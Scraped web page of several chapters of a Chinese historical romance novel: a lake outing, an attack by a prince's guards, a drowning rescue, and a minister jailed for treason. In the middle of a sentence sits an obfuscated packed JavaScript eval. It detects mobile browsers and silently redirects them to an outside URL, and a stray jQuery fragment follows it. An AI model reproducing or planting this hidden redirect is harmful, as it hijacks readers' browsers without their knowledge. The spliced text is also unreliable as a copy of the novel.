“我娘子她……她三天前刚刚下葬了。”说着路近明的眼睛又落下泪来,这几天他哭得太多,眼睛已经变得模糊。 舒容没想到会这么突然,她鼻头一酸,嘴上也只能干巴巴地安慰一声节哀顺变。 路近明站起身把画匣牢牢抱在胸前,微笑道:“姑娘,不打扰你做生意了,老朽告辞。”说完朝舒容深深躬身行礼后,转身跛着脚颤巍巍地缓缓走出后院。 舒容对着他的背影躬身还礼,眼眶中的泪水滴在地砖上留下小小的水印。 到了三月十二那天,方冉途在竹香院吃过早食后就到桂馨院里来了。舒容此时吃过早食,正在坐在玫瑰椅上梳妆。想着是游湖,满头珠钗太过耀眼,没插好还有掉近水里的风险,她头上只裹了一圈珍珠发带并两根素银簪。刚穿戴齐整就听到绿影的通报。 “舒容见过二少爷。”她忙起身向他问好。 方冉途头戴东坡巾,身穿葱白色绣兰花的道袍,腰上系着黑色丝绦,看着就叫人赏心悦目。 “你可收拾好了?”方冉途看她衣饰齐整,唇上嫣红应该是已装扮妥帖。只是发饰未免太过素净,不知道是不是不喜欢他选的首饰,或许下次他应该带舒容去珍宝阁让她自己挑选。 “奴婢已经收拾好了,咱们出发吧。”她笑着回答道。 两人走到大门口,康平已经备好马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253499|164582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车等候在侧。舒容和方冉途坐在马车内,绿影和康平坐在车前。 济民河的桃花岛在城北,方府在城东,两地相距约二十里,纵然出发的时辰尚早,到达济民河畔已近中午。四人在济民河畔的食肆吃过午食后,便乘小船登桃花岛一览风光。 桃花岛占地近三十亩,岛上长有野生桃树近千株,一到桃花盛开时节岛上远观如粉雾一般,故称桃花岛,又因此岛地形狭长犹如玉带,也有人称之为玉带岛。城北无甚野外游玩之地,只有此处春天桃花灼灼,故此城北的居民往往呼朋唤友来此踏青郊游。 今日岛上也是人声喧哗,处处可见桃树下席地而坐,与友人吟诗作唱的人们,也有许多少男少女在桃花树下互诉衷肠,还有些小贩乘船到岛上做生意,贩卖些瓜果茶饮。 游览一通,方冉途觉得实在有些无趣,舒容看出他的心思便提出不如泛舟河上,反正最开始他也说请她来游河的。又见绿影被一个耍杂技迷得走不动道,舒容怕绿影出事,便让康平陪着绿影在桃花岛上玩,她和方冉途两人去游河,待到太阳下山时再到食肆集合。 绿影听到她的决定,忙道:“姑娘,绿影可以陪你去游河的。” 舒容看她眼神还恋恋不舍地看向耍杂技的方向,笑道:“好不容易出了一趟,你就和康平安心地玩儿吧。”说着还拿了一百文钱给绿影。方冉途看她如此,也拿了半钱银子给康平。 两人走到先前登岛的码头上租了一只小船,方冉途和舒容都会划船,便没有请船夫,只两人一人一只桨在河上泛舟。 济民河上的画舫游船零星散落在河面上,不时传来阵阵歌声。他们二人因着方冉途要逃避喧嚣,只一味地朝僻静处划去。一炷香时间后两人附近已经没有旁的船只,远离人声后只剩两岸的鸟雀啼鸣。 两人时不时说两句话,更多时候是在闷头划船,一个比一个的速度还要快,舒容觉得他俩似乎在暗中较劲。划了小半个时辰后,舒容觉得自己手臂在发酸,脸上也起了一层汗,这场比试她决定先按下暂停键。 “二少爷,不如我们在前方靠岸,休息一番如何?”舒容看到前方约百米处有艘乌篷船停在岸边便提议道。 方冉途看她拿出手帕擦汗,又用手捶打自己的手臂,想来是划船划得太累。 “好,我们便也停在前方岸边休息一番。舒容你若是划船太累,那便不要再划,我一个人也可以的。”方冉途温声说道。 “好,奴婢多谢二少爷体谅。”舒容笑着道谢。 接下来方冉途放慢了划桨的速度,小舟慢悠悠在河面上移动,蓝天碧水清风,舒容终于觉出几分泛舟的惬意。她还没有享受多久,就听到一些不该属于山野的声音。 “玉郎,你不要这样。” “妩儿,你实在太美了。” 舒容转头望向声源处,只见那小船剧烈摇晃起来,荡出层层波纹。 舒容没想到竟然遇到一对野鸳鸯,她转过头见身后的方冉途已经羞得满面桃红,舒容指着前面他们来的方向轻声道:“二少爷,我看我们还是去别处靠岸。” 方冉途虽不经人事,却也并非完全不懂其中之理,自从上次和舒容假装圆房之后,他就暗中向褚炤求教过。此刻明白遇到有人野合,他只感觉心跳如擂,面容发烫。听见舒容说话,抬头看她却见她脸色如常,白皙的脸庞在太阳底下散发出玉质的光泽。 “嗯。”方冉途冲她点点头,手上加快了划桨的速度。 两人协力划桨很快离开了此地,往来的方向划去。行至半路,他们的小舟却被一艘画舫撞上。 30. 落水 砰的一声,小舟的船首被画舫撞歪。两船相撞溅起的波浪将船首方冉途的衣裳几乎完全打湿,舒容坐在船尾也不能幸免,衣裙上也是染上斑斑点点的水渍。 画舫里赵王世子韩肃正在跟江南的盐商周甲谈生意。他们赵王府暗中和周甲的商号兴泰隆已经合作多年,王府中半数的进账都依赖着贩卖私盐的生意。干这等掉脑袋的勾当自然是要避人耳目,今日他才特地约周甲在这济民河的画舫上密谈。两人刚刚敲定下半年贩卖私盐的数目,就听到画舫发出碰撞的声音。 韩肃不悦地皱起眉头,身边的小厮韩喜立马出船舱查看情况,片刻就回来禀报道:“世子,是一艘小舟和画舫撞上了。” “赶紧把人赶开。”韩肃不耐烦道。 舒容见小舟舟底正缓慢地往船里头渗水,想来是刚刚的撞击让船底起了裂缝。以现在渗水的速度看还不等他们回到码头,船恐怕就要翻覆。 “二少爷,船开始渗水了,我看我们还是先向画舫求助,坐他们的船回到码头。”舒容提议道,现在的渗水已经把她的绣鞋浸湿。 方冉途也看到了渗水的情况,冲她点点头。随后转头对船上的人求救:“小哥,我们的小舟被撞,现在船底进水,情况危急,可否容我们上船一避?” 韩喜出来正准备赶人就听到了方冉途的呼救,他伸头往小舟上看果然见水已经漫过船底。 看到小舟上两个样貌不俗的男女落水,他还是有些于心不忍,“等着,我先去跟我家主子禀报。” “韩喜,你有没有带脑子出门?”韩肃听完韩喜的话心头升起一团火,这个韩喜做事太过妇人之仁,要不是他略通文墨算术,他才不会把他带在身边。 “一条,二条。”韩肃喊自己的两个忠心护卫。 “奴才在。”一条二条从船舱的另一间屋子里头走到韩肃面前听命。 韩肃嘴角扯起一抹戏谑的笑,“不是说船进水了嘛,你二人去把那船给我多砍出几条缝来助船快点沉底。” “是。”二人领命而去。 韩肃端起杯中的紫笋茶喝了一口,这二人不管有意还是无意,今日倒霉碰见了他,只好送他们去见阎王了。 “周掌柜,我们刚才说到哪儿。” 韩肃招呼对面喝茶的周甲,两人又继续刚才的话题谈论起来。 画舫外,舒容和方冉途一边用手往船舱外舀水,一边焦急等待着画舫的回音。按理说这事是画舫的人理亏在先,他们应该主动请他们上船,可如今情况危急,他们是弱势方,也只有先低头求生。 等了好一阵儿,终于看到人影,舒容以为是救他们的。仔细看却见那两人全身黑衣附体,手持长剑向他们走来。 “二少爷,恐怕来者不善。”舒容没想到对方不让他们上船就算了,居然还想杀人灭口。 方冉途也看到了那二人,看其装束应该是大户人家的护卫,看来这艘画舫上一定有着见不得人的秘密。他抄起船桨想要抵抗对方的进攻,对方一剑下来就把船桨砍成两半。 舒容看出来方冉途完全不是对方的对手,至于她的拳脚功夫在对方的长剑下也是毫无还手之力。敌强我弱,先走为上。 “二少爷,你会不会游水?”舒容冲方冉途喊道。 还不待方冉途回答,舒容见二人要用剑朝他砍去,舒容一个健步抱住方冉途猛地跳进水里。 一条二条见状仍然把小舟乱砍一通,直到小舟翻过去才回去跟韩肃复命。韩肃和周甲谈得差不多了,韩肃命人将船往码头的马上开,很快便驶离此地,只剩舒容和方冉途两人在河中央挣扎。 刚刚舒容问得太急,方冉途还没来得及说,他不会水。虽则他会划船,但他却从来没有游过水,更没有掉到水里过。方冉途在水里不断挣扎,很快嘴里就呛进去水,惊惧交加中他挣扎得愈发厉害。 舒容在大学时学过游泳,这段河水平静无波她自己完全有能力自救,奈何有一个方冉途。舒容把他带下水后,方冉途几次剧烈挣扎,从舒容的手臂间挣脱。看他手脚在水里毫无章法地乱动,舒容才明白过来他不会水。 “二少爷,你不要乱动,身体放松。”舒容一边划水一边大声对方冉途喊话。 方冉途的耳中已经进水,他只听得清轰隆隆的耳鸣声,至于舒容的呼唤则是模模糊糊的,听得到她在说话,听不清她说的是什么。随着意识慢慢涣散,方冉途觉得自己今日要亡命于此了。 看到方冉途的身体不再挣扎,舒容赶紧游上前拽住他的手臂,拖住他往最近的岸边游去。舒容一边游一边大声呼救,希望附近有人路过能够帮助他们,喊了许久也没有人回应她。好在前方不远处就是一处低浅的河岸,舒容手脚并用,使尽全身的气力终于将人带到了岸边。舒容的右腿小腿却在这个过程中被石块划出长长的血口。 舒容一时顾不得自己腿上传来的疼痛,方冉途已经晕过去有些时间,再不救他,他恐怕真的要做这济民河中的一名水鬼了。 把方冉途放平后,舒容先检查他口鼻有无异物,接着松开他的衣服,露出胸口,再按照每两次人工呼吸接三十次胸外按压的周期循环施救。重复五个周期后,方冉途终于恢复了意识,从口中呛出了一口水。 “你醒啦!”舒容松开自己按压在他胸口上的手,激动地冲他喊道。 方冉途努力扯起一抹微笑,冲她点点头。他耳朵里还有积水,听不真切舒容的声音。 他一睁开眼就看见舒容焦急地对自己施救,她的发髻已经松散下来,头上插的两根素银簪已经不见踪迹,只有那条打湿的红色珍珠发带还松松垮垮地贴在她的湿发上头。莹白的脸上还是湿漉漉的,阳光照在她的脸上能看见脸上那层浅浅的绒毛。在他失去意识的时间里他仿佛一直听到有人在呼唤他的名字,他知道就是舒容。 他挣扎着坐起身,左右拍打耳朵,清理干净耳朵中的积水后听觉终于恢复正常。 “舒容,多谢你救了我。”方冉途诚挚地向舒容道谢。如果今日不是舒容,他肯定就成为这荒郊野岭的一抹孤魂。 太阳渐渐偏西,阳光变得微弱起来,河上吹来阵阵冷风,湿衣贴在身上,凉气夹着湿气让舒容浑身发冷。 “二少爷,这种情况谁都会救的,不必言谢。现在时候不早,我们先想办法去和康平他们汇合。”舒容温声道。现在精神放松下来她腿上的疼痛开始加剧,不自觉地皱起眉头。 方冉途也被风吹得浑身发冷,溺水发白的脸庞还没有恢复血色如今被冷风一吹显得愈发苍白。照在他们身上的阳光已经带上金色的余晖,时候确实不早。他挣扎着站起身,却瞥见舒容蹙起的眉头。 “舒容,你哪儿受伤了吗?”他关心地问,语气十分温柔。 “一点小伤,上点药就好,我们先找到回去的路吧。”舒容不在意的回复道。 环顾四周,他们现在位于济民河的西岸,所在的这一侧除了面前他们呆的一小块沙地外,再往上尽是杂草丛生的树林。往前往后都是更加陡峭的石壁,他们要上爬上岸只有穿过背后的树林。 在舒容左顾右盼观察地形时,方冉途也在悄悄打量着她,她神色冷静,丹凤眼里闪动着专注的光芒,他一时被她吸引住了。 决定好方案后,舒容指着背后的树林对方冉途说,“二少爷,我们只有先从这里爬上去,再找人求救。” “好。”方冉途看过地形也明白只有此路可通。 舒容看向方冉途的脚,他左脚的鞋应该在水中挣扎的时候掉落了,现在只剩袜子穿在脚上。她觉得不是赤脚走,有袜子保护脚也没问题,便笑道:“走吧。” 舒容走在前面开道,方冉途觉得不该让女子开路,便开口道:“舒容,我走前面开路,你跟着我。” “好。”舒容想着树林里头中难免有些刺人的植物,方冉途走 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车厢里的傅文瑛正在擦拭自己的匕首,他半月前前往庆来查案,今日才返回京城。他看向车窗外的奔来的人影,竟然看到了一个熟悉的面孔,嘴角不由地勾起一抹笑。把匕首收入鞘中,笑着对傅邦道;“停车。” 二人看到马车停下来,停止了叫喊声,快步朝马车方向走去。在下一个土坡的时候,舒容险些从失足踩空,还好方冉途及时挽住了她。 等到马车跟前,方冉途朝车内人施礼,又讲述他们的遭遇,恳请马车主人能够帮忙载他们一程。 傅文瑛故意在他们到之前放下车帘,等方冉途说完话,他才掀开窗帘,一脸戏谑地看着方冉途说道:“没有料到方大人也有失足落水的一天啊。” 听到对方的调侃,方冉途抬头才发现是马车上竟然是傅文瑛。傅文瑛是大理寺少卿,同时还是当今皇后的弟弟,年纪轻轻破获好几起大案,深得皇上的喜爱。方冉途被皇帝叫到御书房问话时曾与他有过几面之缘。 “下官见过傅大人,多谢傅大人今日出手相救。”方冉途拱手行礼道。 舒容也跟着向傅文瑛行礼,“多谢傅大人。” 傅文瑛越过方冉途看向他身后的舒容,发髻凌乱,浑身湿透却掩盖不了她美色,肌肤胜雪,顾盼神飞,好一个绝代佳人。世人都传方冉途不喜女色,看来都是讹传。 舒容抬头打量着倚在马车车窗的傅文瑛,浓眉大眼、高挺鼻梁、麦色肌肤,眉眼间有股玩世不恭的意味。傅文瑛也察觉到了舒容的眼神,两人眼神在空中交汇。世人都晓他铁面罗刹的名号,还因为他的三任未婚妻接连病逝,京中小姐都对他避之不及,他至今二十四岁都没有娶妻。没想到这个女子竟然敢直面他的眼睛,真是有趣。 “方大人和这位姑娘上车吧。”傅文瑛对二人说道。 傅文瑛的马车里宽敞又奢华,三边的软凳上均是铺的蜀锦织成的坐垫。软凳中间摆放一张精巧的紫檀木的方几,方几上面的葡萄纹铜香炉中燃着内造的零陵香,让整个车厢内都弥漫着一股清新的花香味。 舒容不知道傅文瑛的身份,只听方冉途唤他大人料想他的官阶比方冉途要大,看他年纪轻轻又如此有钱,应该是个家世显赫的人。舒容对自己湿哒哒的衣裳打湿蜀锦,心中直道可惜。方冉途坐得倒是舒展自然,开始和傅文瑛闲话起来。 傅文瑛口头和方冉途说话,眼睛却时不时瞥向舒容,她的打湿的衣裙紧紧贴在皮肤上,把她曼妙的身姿突显得淋漓尽致。一双丹凤眼眼尾上挑,有着一种说不出的风情,她同他见过的世家小姐都不一样。傅文瑛心里陡然升起一种欲望,要是把她从方冉途身边抢过来该多好。 傅邦驾车的速度又快又好,小半个时辰后就把他们送到了济民河畔的食肆,两人和他道谢后便下了马车。傅文瑛看着舒容窈窕的背影,不自觉地吞咽了一口口水。 31. 靠在他的肩膀睡觉 绿影和康平怕他们提前回来找不到人,不等太阳落山就早早乘船渡河回到食肆店里等候。见到二人全身湿透地回来,急忙跑到他们身边。 “姑娘,你落水了吗?”绿影心疼看着舒容湿透的衣裙问道。 舒容看到绿影抿住嘴唇,眼中随时要落泪的样子,安慰道:“嗯,现在已经没事了。” “二少爷,你跟舒容姑娘怎么掉水里去了啊?”康平看到两人全身湿透,眼里满是不解。 “出了些意外,回去再跟你说,你现在快去驾车,我们早点回府。”方冉途对康平吩咐道。他本想先让康平在附近的成衣店给二人买身干净衣服先换上,又记起来的时候没有见到附近有成衣店,若康平去远处买一来一回花去不少时间,还不如早些回府沐浴更衣。 舒容和方冉途二人上了马车,绿影和康平仍旧坐在前面。舒容回到安全温暖的马车内,紧绷的神经放松下来,腿上的伤口传来明显的疼痛感。她靠着车厢,闭上眼睛放空试图以此来缓解疼痛,渐渐地在马车的颠簸中她靠着车厢睡了过去。 方冉途从上车后就一直关注着舒容,两人都跟来时一样坐在车厢最里侧的坐垫上,舒容坐在最左边,他坐在最右边,他们之间中间再坐下两个人都还绰绰有余。看到舒容皱起的眉头他知道肯定是她的伤口又在发作。见她闭上眼睛养神他也没有说话打扰她。 舒容的脑袋像小鸡啄米一点一点地往前倒,方冉途怕他磕到地上,轻轻挪动身子坐到她的旁边想要帮她把脑袋靠回到旁边的车厢上。舒容却像是感应到旁边有人似的,径直将脑袋靠到了他的肩头,左右蹭了蹭寻到一个舒适的角度才安静睡下。 方冉途感受到肩头传来的力量,浑身僵住,心跳加速。他一动也不敢动怕把舒容惊醒,余光瞥见舒容的舒颜十分安详,嘴角似乎还勾着浅浅的笑。 舒容睡得很沉,康平驾车的颠簸也没能把她摇醒。她梦到父母带她去游乐园玩,她坐着旋转木马一圈一圈地转,父母在下面温柔地看着她。等她再转一圈回来时父母就消失不见了,周围的一切景物也不见了只剩她自己坐在已经停住的旋转木马上。 方冉途感觉到她突然睡得不安稳,嘴里似乎在呓语着什么。他用另一只没有被她压住的手侧过身轻轻拍打舒容的脑袋。似是感受到他的安抚,很快舒容又安静地睡过去。看到她眼角残留的泪水,他伸手用指腹温柔地擦去。 此刻舒容睡在他的肩头,他感觉自己的一颗心似乎正在被什么东西填满。他小心地侧过头看着熟睡的舒容,丝毫没有意识到此时自己脸上的神情有多么温柔。 绿影一路上都担心着舒容的身体,这个天气要是落水最是容易得风寒。她记得在她小时候,也是初春天气,同村的一个叫大牛的青壮汉子为了捉不小心掉在池塘里的羊,在池塘里泡了半天。第二天就得了风寒,高烧不退,在床上躺了不到十天就去世了。 绿影时不时小心地扯开马车门帘的一角,想看看舒容的身体状况。她却看到一向对人冷淡的二少爷主动把肩膀拿给姑娘靠,还一脸柔情地看着姑娘。她一直以为二少爷和姑娘感情算不得好,竹香院虽时常有赏赐送来,二少爷看向姑娘的眼神里却看不到丝毫的爱意。眼前看到的景象让绿影对方冉途的印象大为改观,她小心放下马车门帘想着回去一定要告诉舒容她所看到的一切。 康平对车厢里发生的事情一无所知,他只专心赶着马车。想到自家二少爷的吩咐,康平赶马车的速度比来的时候快了不少,只花了一个多时辰就回了方府。想到二少爷和舒容姑娘衣服都湿透,他便把车赶到临桂馨院最近的东侧门。 “二少爷,到东侧门了。”康平大声朝身后的车厢喊去。 听到康平的声音,方冉途眉头一皱。想到二人还穿着湿衣裳,他还是轻轻地拍舒容的肩膀尝试唤醒她。 “舒容,舒容,快醒醒,我们到家了。” 听到有人喊自己的名字,舒容悠悠转醒。她的意识还没有回笼,以为自己睡在桂馨院的大床上,便拿脑袋蹭了蹭枕头想要再赖床一会儿。发现枕头有些硌人,她猛然清醒过来才发现自己睡在方冉途的肩膀上。 舒容抬起头,捏了捏自己睡僵的脖子,不好意思地对方冉途笑笑. “二少爷,我一时睡迷糊了,把你肩膀当成枕头了,真是对不住。你肩膀酸不酸?要不要我给你捏捏?”舒容记着自己明明是靠着车厢睡的,怎么一觉醒来就睡到他的肩膀上了,两人明明当时离得那么远。 看着舒容脸上刚刚睡醒流露出的迷惘神色和脸上睡出来的红印子,明明头发凌乱,脸上未敷丝毫脂粉,他却觉得舒容比他见过的所有女子都要美丽。想到她身上的伤还没有处理,他道:“先下车吧。” 舒容点点头,跟在他后面下了马车,下车前狐疑地看了一眼身后的锦垫。 一下马车方冉途就吩咐康平去请朱承来府上给舒容看伤。 桂馨院没有方冉途的衣裳,他便先回竹香院沐浴更衣。等他换好衣服,把头发擦得半干便披着头发到桂馨院来看望舒容。舒容也才沐浴完,坐在屋内的锦榻上,眯着眼睛由绿影给她用干面巾擦着头发。 绿影瞥见方冉途走了进来,提醒她道:“姑娘,二少爷来了。” 舒容闻言睁开眼就看到向她走来的方冉途,她刚想起身问好,对方率先开口阻止了她。 “不必起来,我过来看看你。朱大夫一会儿就到。” 舒容请方冉途到锦榻上坐下,自己接过绿影手中的面巾让绿影去给他泡茶。想到刚才绿影说方冉途在马车上含情脉脉地看着她,舒容心思一动,对方该不会因为自己救了他想要以身相许吧? 她手里擦着头发,眼神不住地瞥向方冉途那边,见他确实在盯着自己看,眼里还有着难得一见的柔情。对方发现自己看她还冲她露出个温柔的笑,舒容觉得自己有些把持不住,对方的笑容太迷人,连忙换了个方向擦头发。 等她的头发快擦干时,康平领着朱承到了桂馨院。朱承是方府的老熟人,进来寒暄一番后便开始询问舒容的伤势。 舒容用手掀起自己右腿小腿上的裤子,她小腿外侧白皙的肌肤上赫然袒露着一条笔直的伤口,几乎从膝盖下一直快延伸到脚踝处。石块划得不算很深,大部分的伤口已经开始结痂,只有零星的地方还在冒着血珠。比起下午最开始时的剧痛,现在已经好受许多。 绿影看到舒容腿上的伤口,霎时眼睛里头滚下泪来,舒容沐浴向来都不用她伺候,舒容也没有和她提起过自己受伤的事。这么深的伤口姑娘一定很痛。她鼻子一酸,瘪着嘴心疼地看向舒容。 方冉途看到那条伤口时也忍不住蹙眉,之前舒容说是小伤,他也就当真,没有细想。他走到朱承跟前,着急问道;“朱大夫,舒容的伤势如何?” 听到他这么问,众人皆把目光聚集到朱承身上。 朱承观察完舒容的伤口起身,走到自己的药箱前,拿出一个小蓝瓷瓶,对众人说道:“舒容姑娘这伤口看着吓人,实际伤得不深,用我这金疮药一日早晚敷一次,敷上几日便可痊愈。” 绿影正想从朱承手中接过金疮药,刚走到朱承面前却被方冉途抢了先。 “多谢朱大夫。”舒容和方冉途异口同声道。 知道二人落水,朱承给两人又开了一贴暖身汤。 送走朱大夫后方冉途走到舒容面前,眼神看向舒容伤口的方向,心中满是怜惜和自责,都是因为救他,舒容才会受伤。 “二少爷,你把 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“好,多谢你跑一趟,早些回去歇息吧。”舒容对他笑道。 康平已经从方冉途处知道今天舒容救他的事情,康平现在对舒容很是感激,他从九岁起就跟在方冉途身边,方冉途于他而言是主子也是亲人。想到今天要不是有舒容在,二少爷可能就没了,他心里又后怕又自责。 想到此处,他喉头有些哽咽,“今天,多谢姑娘。” 喝完药后,舒容上床就寝,许是今日用神太过,她一沾枕头就沉沉睡了过去,第二天比平时还晚起了一个时辰。 她醒来后不久,康平就带着好几盒礼物到了桂馨院,说是方冉途给她的谢礼。都是些价格不菲的首饰和摆件,舒容看过后便让绿影放到库房中收好。 何夫人下午也和张嬷嬷带着礼物到桂馨院看望她,说了一番感激的话后嘱咐她好好休养。 方冉途下值后又来桂馨院看望她,陪她吃过晚膳后才回去。此后几天更是日日来桂馨院探望,时不时还带着礼物送到桂馨院来,舒容的小库房这几天已经要被方冉途送的礼物塞满。在她不得不委婉地告知对方自己不需要这么多礼物后,方冉途才降低了送礼的频次。 舒容的伤口在敷药第二天后就完全结痂,第十天后伤口上的结痂全部脱落。方冉途又从朱大夫师弟那里给她求来了祛疤膏,涂抹小半月后已经几乎看不出伤痕。 因为放心不下存古堂,舒容在桂馨院里只休息了一天,第二日就去了存古堂。怕何夫人和方冉途来看望她时她不在,她每每在存古堂中待到午后就回了桂馨院。 等她身上伤痕全消的时候,店里装裱的荷花图也全部完成,从陈员外处收到尾款四百两。舒容给胡顺和李碧兰各发了五十两银子的奖金,给顾风发了二十两银子的奖金。想着胡顺和李碧兰的裱褙技艺愈发成熟,舒容决定找个机会对他们进行出师考核,等他们考核成功后给他们的月钱就按照四六的分成来算。 褚炤和方冉途老师毛先永的离京时间都定在三月二十五,两人都要先往南走,还可以在路上同行一段日子。方冉途把两人送到京郊十里外的杨柳亭,在一片灿烂春光中目送二人远行。 时间倏忽间到了四月半,存古堂院里的那棵老梨树又过了一个花期,青绿色的果子缀满枝头,挨挨挤挤,煞是可爱。 这天舒容照旧在存古堂里忙碌,她编写的《裱褙常见样式和实用技巧》已经基本定形,正着手为教材配图。她正画得投入,就听胡顺说绿影来店里找她。 看到绿影气喘吁吁的样子,舒容有些惊讶。 她正想开口问话,绿影就着急道:“姑娘,不好了,府里出事了!” 32. 方父下狱 “发生何事,你这么惊慌?”舒容放下手中的毛笔,抬头看着绿影问。 绿影喘着粗气,警惕地把门关上后走到舒容身边,小声对她说:“姑娘,老爷下狱了。” “什么?”舒容不敢相信自己听到的。方德言是工部尚书,颇得皇上亲厚,怎会突然下狱? 安排好存古堂的事情后,舒容和绿影匆匆赶回方府。 回到桂馨院,舒容才向绿影问起事情是什么时候发生的。 “我也是从李大娘那儿听说的,只知道是今天上午发生的事。李大娘也不知道是什么原因。”绿影道。 采晖堂里,何夫人正坐在罗汉床上垂泪。今天早上方德言被皇帝以谋逆之罪打入天牢后,方德言身边的卢望就赶紧回来跟他报信。 原来今日是皇帝陛下的万寿节,皇帝预备在重建好的承光殿为群臣赐宴。皇帝此前给承光殿主殿御笔亲书了一道万里同光的匾额,今日上午的安排正是丞相领着众位大臣在承光殿等皇帝亲手揭幕匾额后就向皇帝进献寿礼。 就在群臣的山呼万岁的声音中皇帝亲手揭下明黄色的绸布,殿内群臣均被匾额上的字所震惊,殿内一时雅雀无声。只见那金丝楠木的匾额上用朱红的笔写着大逆不道的四个字——韩纪窃国。 当今皇帝的尊讳正是韩纪。皇帝抬头匾额上的字,登时口中吐出一口鲜血,接着吩咐刺峰卫将督建承光殿的工部尚书方德言和一干相关人等全部收监。 方德言没有预料到皇帝御书的匾额竟然会被人掉包,承光殿的重建进展顺利,他在三天前来检查过殿内的细节后就没有再来过。这两日都在工部和左右侍郎商讨在汛期前给济水一带修筑水坝的事情。看到匾额上的字,他回想起了旧事。 十五年前,韩纪登基,因为没有找到先皇对丞相说过的传位诏书只有先帝的玉扳指为信,先皇的刺峰卫首领原陌还被人杀死,尸体曝于京城东门外的大道上。四皇子韩奎不服,认为是韩纪抢了他的皇位,他是先皇后的嫡幼子,韩纪不过是继后的儿子,由他来继承大统方才是天经地义。于是他在韩纪即位后,起兵谋反,却很快被韩纪打败,韩夔一系的臣子家眷全部被斩首,京城一连几日内上空都弥漫着血腥味,韩夔被刺峰卫抓住囚禁天牢后也自绝于狱中。自此事后,无人敢再提韩纪继位的事情。 十多年里韩纪勤政爱民,治国有方,在群臣和百姓中的声望更甚先皇。渐渐地大家都已经忘记当年的旧事。可今日偏偏有人要旧事重提。 没有统治者能忍受这样的挑衅,没有一个大臣敢为方德言等求情。方德言被刺峰卫脱去正二品的吉服,套上航脏的白色囚服,扔进了天牢的一个小隔间里。望着逼仄的监牢方德言觉得自己命不久矣,只希望皇帝开恩不要连累他的家小。 元和殿里,皇帝吐血后便被送回寝宫安和堂,群臣敬献寿礼由太子代领。皇后傅采言在永和宫内听到承光殿发生的事情就赶紧到安和堂看望皇帝。 听闻太医诊断只是急火攻心,并无大碍后,皇后放下心来。 她坐到皇帝身边,柔声劝慰道:“今日承光殿一事,臣妾以为另有人指使,并非方大人所为。还望陛下酌情处理。”傅采言是皇帝的发妻,两人感情甚笃。傅采言才思敏捷,韩纪拿不定主意时常与她探讨。 “皇帝,皇后的话我不赞同。那方德言忤逆犯上,罪当斩。你切莫姑息这样的人。”太后魏紫玉厉声道。因此前有讨好太后的人提议在九霄山上为她修建行宫,方德言却向皇帝进言工部的银两开支有限,当以民事为先。皇帝夸方德言是贤臣,最后劝她把行宫改在了京郊的鹿鸣山庄。方德言不过是一介臣子敢如此对他不敬,今日也休怪她不手下留情。 韩纪对太后的甚为孝顺,他能顺利登基多赖太后母家的势力辅佐,现下也不好拂了太后的面子。然方德言是他的旧臣,他也不能因一时之气妄杀忠臣。只得口头向太后保证道:“方德言今日做此犯上谋逆之举,证据确凿,本应立即处死。然今日乃朕万岁宴,不宜因他败兴,先让他在天牢里自省,过后再议此事。” 太后瞪了皇后一眼,冷声道:“那便先如此,十日后哀家再向皇帝过问此事。” 太后走后,皇帝吩咐刺峰卫首领杨万调查承光殿匾额一事,太后知道此消息要求杨万等到十日后再调查,杨万曾是魏府家奴,受过太后大恩,只得答应下来。 方德言十日后将被杀的消息很快经由太后的授意传遍整个京城,既然皇帝还舍不得他死,那她会让他在活着的每一天里都处在自己死期将至的恐惧当中。 承光殿后的事情发生不到半个时辰,方冉途在翰林院里就听到了父亲下狱的消息。 “方编修,方大人忤逆犯上,现在已经被关往天牢里了。”简骆弋从自家岳丈此处听到消息立马到方冉途面前落井下石。 “简大人说的什么意思?”方冉途震惊地抬头望着他,手中的毛笔落在纸上,墨迹将刚写好的文字弄花。父亲忠君爱国,不可能会做出大逆不道之事。 “你等等就知道咯。本官还有要事在身,便不陪方编修闲聊了。”简骆弋大笑着往自己的位置走去。 方冉途打算去翰林学士张士逢处问问,还没起身就见父亲身边的亲随钱茂找了来。听他所言方冉途方才确定简骆弋说的是实话。他跟上司告假后随即回了方府。 何夫人一看到方冉途回来,侧过身去赶紧用手帕擦干了眼泪才转过头看向她。 “二郎,你回来了。”何夫人的声音有些哑。 方冉途看到母亲哭红的眼,他心头一痛,从小到大他从来没有见过何夫人在他面前哭成这个样子。他镇定心神,走到何夫人面前道:“母亲,我已知晓今日承光殿发生的事情,父亲一定是被人陷害的。我们一定要找出证据,证明父亲的清白。” 何夫人紧紧拉住他的手,沉声道:“二郎,一定要救出你父亲。你大哥远在管州,快马加鞭送信到那里都要半个月的时间,你父亲的事情没有尘埃落定之前先不要通知你大哥。你我母子二人先想想办法。” “好,母亲,我先去找永宁侯和护国公,看能不能说动他们在皇上面前为父亲求情。”这两人是跟他父亲一样是皇上还是六皇子时就辅佐他的心腹重臣,且二人与皇上母族魏氏一族互有姻亲,若他们肯开口,一定能保下父亲的性命。 何夫人听完他的话点头道:“那你便快去找这二公,务必要求他们帮忙。我先想办法去天牢见见你爹,看不到他我总是不安心。” 母子两人商量好后就分头行动。方冉途先回竹香院换下官服。何夫人则是跟派卢望去刑部尚书府给尚书夫人赵今嬿送去她的手书,她和赵夫人有过几面之缘,没有深交,如今也只有厚着脸皮请对方帮忙了。 方冉途刚到竹香院就看到舒容朝他跑来。舒容自打听到方德言下狱的消息就很害怕,如果方德言真的是忤逆犯上,她不知道方家众人会不会被皇帝连坐处罚,随时可能要人头落地的感觉真的让她很恐惧。她和绿影从存古堂回到桂馨院坐了一会儿后就到竹香院来,她想方冉途肯定要回家想办法,她可以向他问清楚情况。 “你是为了我父亲的事情来的?”方冉途看着舒容脸上紧张的神色就知道是因为这件事。他们府上的消息传得都快,他也并不意外。 “嗯,老爷这到底是怎么回事?”舒容焦急地问道。 